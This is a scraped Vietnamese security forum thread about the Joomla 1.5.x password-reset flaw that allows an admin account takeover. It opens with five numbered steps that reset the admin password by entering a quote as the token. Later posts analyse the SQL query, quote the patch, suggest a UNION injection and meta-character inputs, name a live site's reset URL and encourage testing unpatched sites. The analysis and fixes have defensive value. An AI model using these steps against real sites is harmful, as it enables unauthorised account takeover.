<![CDATA[Latest posts for the topic "05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change )"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#146941 /hvaonline/posts/list/24333.html#146941 GMT 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change )

LM wrote:
1. Vào địa chỉ : target.com/index.php?option=com_user&view=reset&layout=confir m 2. Nhập kí tự ' vào. 3. Xong thì nhập password mới 4. Vào admin : target.com/administrator/ 5. Đăng nhập với password mới đó với user là admin. Sưu Tầm :) 
Mèn ơi ! Mấy site chưa fix lỗi bị "hác-cơ" oanh tạc te tua !!]]>
/hvaonline/posts/list/24333.html#146947 /hvaonline/posts/list/24333.html#146947 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#146952 /hvaonline/posts/list/24333.html#146952 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html]]> /hvaonline/posts/list/24333.html#146981 /hvaonline/posts/list/24333.html#146981 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#146983 /hvaonline/posts/list/24333.html#146983 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147032 /hvaonline/posts/list/24333.html#147032 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147033 /hvaonline/posts/list/24333.html#147033 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147044 /hvaonline/posts/list/24333.html#147044 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) http://hkp.com.vn/index.php?option=com_user&view=reset&layout=confirm dòng này được tạo ra khi điền email để forgot pasword và 1 Token đã gửi về mail, form này dùng để điền Token đó! Tuy nhiên lại phát sinh lỗi ở dòng: Code:
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  <
nhiệm vụ của nó là liệt kê ra user có activation = cái token vừa nhập vào và cho phép đổi password mới. Vì vậy khi ta chèn kí tự ' vào thì lệnh nó sẽ trở thành: Code:
SELECT id FROM jos_users WHERE block = 0 AND activation = ''
nó lại đi liệt kê ra các user có activation là rỗng thay vì là user có activation phù hợp và theo nguyên tắc chỉ lấy 1 kết quả, nó sẽ lấy user có id nhỏ nhất và thường thì đó là tài khoản của admin! vì vậy dẫn tới việc password của admin bị reset! Cách khắc phục: - Nâng cấp phiên bản Joomla! mới nhất (1.5.6 hoặc mới hơn), hoặc sửa lỗi trong file /components/com_user/models/reset.php với đoạn mã sau: Sau global $mainframe; trên dòng 113 của file reset.php, thêm: Code:
if(strlen($token) != 32) {

       {

              $this->setError(JText::_('INVALID_TOKEN'));

              return false;

       }
]]>
/hvaonline/posts/list/24333.html#147059 /hvaonline/posts/list/24333.html#147059 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) Code:
$db->setQuery("SELECT id FROM #__users WHERE block = 0 AND activation =".$db->Quote($token)."'");
là đủ rùi ! Mà nếu là sql injection thì sao ko thử : SELECT id FROM jos_users WHERE block = 0 AND activation = '' union select xxx from jos_uers where activation='' liệu có được ko nhĩ ?]]>
/hvaonline/posts/list/24333.html#147060 /hvaonline/posts/list/24333.html#147060 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147077 /hvaonline/posts/list/24333.html#147077 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147078 /hvaonline/posts/list/24333.html#147078 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change )

hackerbinhphuoc wrote:
Bản chất của lỗi này thật ra cũng là SQL Ịnection! .................. - Nâng cấp phiên bản Joomla! mới nhất (1.5.6 hoặc mới hơn), hoặc sửa lỗi trong file /components/com_user/models/reset.php với đoạn mã sau: Sau global $mainframe; trên dòng 113 của file reset.php, thêm: Code:
if(strlen($token) != 32) {

       {

              $this->setError(JText::_('INVALID_TOKEN'));

              return false;

       }
 
Bản chất là SQL injection mà dùng hàm strlen để fix là sao nhể ? :D, nó ráng inject sao đó cho strlen($input_token)=32 thì .... :^) ]]>
/hvaonline/posts/list/24333.html#147085 /hvaonline/posts/list/24333.html#147085 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147108 /hvaonline/posts/list/24333.html#147108 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) http://milw0rm.com/exploits/6234 , người publish khi phân tích cũng ko hiểu rõ vấn đề :D Các bác có để ý là thằng Joomla nó fixed kiểu Code:
if(strlen($token) != 32) {
 
        
               $this->setError(JText::_('INVALID_TOKEN'));
 
               return false;
 
        }
nghĩa là nó chỉ check chiều dài thôi ko?? Nếu bị SQL injection thì nó đâu có fixed kiểu stup!d như thế :D *Update: Các bác "hắc cờ" nào đi test mấy site chưa fixed sẽ thấy ko nhất thiết phải thêm nháy đơn vào mới khai thác được, mà chỉ cần input kí tự có dạng meta là được: vídu: !@#$%^&*() ..... Hoặc tổ hợp một chuỗi các kí tự meta một lúc. Thế nên cái cách giải thích của thằng đã publish exploit trên milw0rm Code:
{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "
là rất mơ hồ, vì nó cũng ko hiểu vấn đề. PS: Các bác debug biến $token bằng cách
if(strlen($token) != 32) { { echo $token;//tui thêm vào exit(1);//tui thêm vào $this->setError(JText::_('INVALID_TOKEN')); return false; }  
chạy vào test thử với các input là các kí tự meta, meta trộn lẫn chuỗi thường ...etc sẽ hiểu ]]>
/hvaonline/posts/list/24333.html#147121 /hvaonline/posts/list/24333.html#147121 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147125 /hvaonline/posts/list/24333.html#147125 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#147730 /hvaonline/posts/list/24333.html#147730 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#148043 /hvaonline/posts/list/24333.html#148043 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#154959 /hvaonline/posts/list/24333.html#154959 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change )

alexnguyen wrote:
cái này chỉ dành cho J nào cho đăng ký mem phải không ạ? Nếu site đóng chỉ để cung cấp thông tin thì em vào nó chỉ nói Chào mừng! Chào mừng bạn tới khu vực người dùng trên site của chúng tôi  
Đọc kỹ các bài viết và đường dẫn ở trên. Người ta đã fixx hết rồi đừng cố gắng xâm nhập làm gì. ]]>
/hvaonline/posts/list/24333.html#155056 /hvaonline/posts/list/24333.html#155056 GMT
Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change ) /hvaonline/posts/list/24333.html#168868 /hvaonline/posts/list/24333.html#168868 GMT Re: 05 Bước khai thác Joomla 1.5.x (Remote Admin Password Change )

lequi wrote:
nhìu site vẫn bị đó chứ. Nhưng cho em hỏi, reset pass xong rồi. Lỡ user admin của nó ko phải là admin thì sao nhỉ ? 
Thì đi tìm tên user admin là cái gì???]]>
/hvaonline/posts/list/24333.html#168871 /hvaonline/posts/list/24333.html#168871 GMT